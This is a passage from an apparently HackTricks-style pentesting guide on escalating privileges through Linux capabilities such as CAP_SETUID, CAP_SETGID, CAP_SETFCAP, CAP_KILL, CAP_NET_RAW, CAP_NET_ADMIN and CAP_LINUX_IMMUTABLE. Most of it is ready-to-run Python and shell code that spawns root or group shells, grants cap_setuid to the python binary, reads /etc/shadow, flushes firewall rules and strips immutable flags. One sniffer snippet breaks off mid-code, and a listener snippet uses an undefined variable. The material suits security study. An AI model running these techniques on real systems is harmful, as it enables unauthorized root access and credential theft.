If python has this **capability**, you can very easily abuse it to escalate privileges to root:
|
||
|
||
```python
|
||
import os
|
||
os.setuid(0)
|
||
os.system("/bin/bash")
|
||
```
|
||
|
||
**Another way:**
|
||
|
||
```python
|
||
import os
|
||
import prctl
|
||
#add the capability to the effective set
|
||
prctl.cap_effective.setuid = True
|
||
os.setuid(0)
|
||
os.system("/bin/bash")
|
||
```
|
||
|
||
### CAP_SETGID
|
||
|
||
**This means that it's possible to set the effective group id of the created process.**
|
||
|
||
There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||
|
||
#### Example with binary
|
||
|
||
In this case you should look for interesting files that a group can read because you can impersonate any group:
|
||
|
||
```bash
|
||
#Find every file writable by a group
|
||
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||
#Find every file writable by a group in /etc with a maxpath of 1
|
||
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||
#Find every file readable by a group in /etc with a maxpath of 1
|
||
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
|
||
```
|
||
|
||
Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with:
|
||
|
||
```python
|
||
import os
|
||
os.setgid(42)
|
||
os.system("/bin/bash")
|
||
```
|
||
|
||
In this case the group shadow was impersonated so you can read the file `/etc/shadow`:
|
||
|
||
```bash
|
||
cat /etc/shadow
|
||
```
|
||
|
||
If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket).
|
||
|
||
### CAP_SETFCAP
|
||
|
||
**This means that it's possible to set capabilities on files and processes**
|
||
|
||
#### Example with binary
|
||
|
||
If python has this **capability**, you can very easily abuse it to escalate privileges to root:
|
||
|
||
{% code title="setcapability.py" %}
|
||
```python
|
||
import ctypes, sys
|
||
|
||
#Load needed library
|
||
#You can find which library you need to load checking the libraries of local setcap binary
|
||
# ldd /sbin/setcap
|
||
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
|
||
|
||
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
|
||
libcap.cap_from_text.restype = ctypes.c_void_p
|
||
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
|
||
|
||
#Give setuid cap to the binary
|
||
cap = 'cap_setuid+ep'
|
||
path = sys.argv[1]
|
||
print(path)
|
||
cap_t = libcap.cap_from_text(cap)
|
||
status = libcap.cap_set_file(path,cap_t)
|
||
|
||
if(status == 0):
|
||
print (cap + " was successfully added to " + path)
|
||
```
|
||
{% endcode %}
|
||
|
||
```bash
|
||
python setcapability.py /usr/bin/python2.7
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap.
|
||
{% endhint %}
|
||
|
||
Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to it's section to see how to escalate privileges.
|
||
|
||
### CAP_KILL
|
||
|
||
**This means that it's possible to kill any process.** You cannot escalate privileges directly with this capability.
|
||
|
||
#### Example with binary
|
||
|
||
Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.
|
||
|
||
```python
|
||
#Use this python code to kill arbitrary processes
|
||
import os
|
||
import signal
|
||
pgid = os.getpgid(341)
|
||
os.killpg(pgid, signal.SIGKILL)
|
||
```
|
||
|
||
### CAP_NET_BIND_SERVICE
|
||
|
||
**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability.
|
||
|
||
#### Example with binary
|
||
|
||
If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)
|
||
|
||
{% tabs %}
|
||
{% tab title="Listen" %}
|
||
```python
|
||
import socket
|
||
s=socket.socket()
|
||
s.bind(('0.0.0.0', 80))
|
||
s.listen(1)
|
||
conn, addr = s.accept()
|
||
while True:
|
||
output = connection.recv(1024).strip();
|
||
print(output)
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Connect" %}
|
||
```python
|
||
import socket
|
||
s=socket.socket()
|
||
s.bind(('0.0.0.0',500))
|
||
s.connect(('10.10.10.10',500))
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### CAP_NET_RAW
|
||
|
||
**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability.
|
||
|
||
#### Example with binary
|
||
|
||
If the binary **`tcpdump`** has this capability you will be able to use it to capture network information.
|
||
|
||
```bash
|
||
getcap -r / 2>/dev/null
|
||
/usr/sbin/tcpdump = cap_net_raw+ep
|
||
```
|
||
|
||
Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic.
|
||
|
||
#### Example with binary 2
|
||
|
||
The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||
|
||
```python
|
||
import socket
|
||
import struct
|
||
|
||
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
|
||
|
||
def getFlag(flag_value):
|
||
flag=""
|
||
for i in xrange(8,-1,-1):
|
||
if( flag_value & 1 <<i ):
|
||
flag= flag + flags[8-i] + ","
|
||
return flag[:-1]
|
||
|
||
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))

### CAP_NET_ADMIN + CAP_NET_RAW
|
||
|
||
**This means that it's possible modify firewall rules.** You cannot escalate privileges directly with this capability.
|
||
|
||
#### Example with binary
|
||
|
||
Lets suppose that the **python binary** has these capabilities.
|
||
|
||
```python
|
||
#Dump iptables filter table rules
|
||
import iptc
|
||
import pprint
|
||
json=iptc.easy.dump_table('filter',ipv6=False)
|
||
pprint.pprint(json)
|
||
|
||
#Flush iptables filter table
|
||
import iptc
|
||
iptc.easy.flush_table('filter')
|
||
```
|
||
|
||
### CAP_LINUX_IMMUTABLE
|
||
|
||
**This means that it's possible modify inode attributes.** You cannot escalate privileges directly with this capability.
|
||
|
||
#### Example with binary
|
||
|
||
If you find that a file is immutable and python has this capability, you can **remove the immutable attribute and make the file modifiable:**
|
||
|
||
```python
|
||
#Check that the file is imutable
|
||
lsattr file.sh
|
||
----i---------e--- backup.sh
|
||
```
|
||
|
||
```python
|
||
#Pyhton code to allow modifications to the file
|
||
import fcntl
|
||
import os
|
||
import struct
|
||
|
||
FS_APPEND_FL = 0x00000020
|
||
FS_IOC_SETFLAGS = 0x40086602
|
||
|
||
fd = os.open('/path/to/file.sh', os.O_RDONLY)
|
||
f = struct.pack('i', FS_APPEND_FL)
|
||
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
|
||
|
||
f=open("/path/to/file.sh",'a+')
|
||
f.write('New content for the file\n')
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
Note that usually this immutable attribute is set and remove using:
|
||
|
||
```bash
|
||
sudo chattr +i file.txt
|
||
sudo chattr -i file.txt
|
||
```
|
||
{% endhint %}
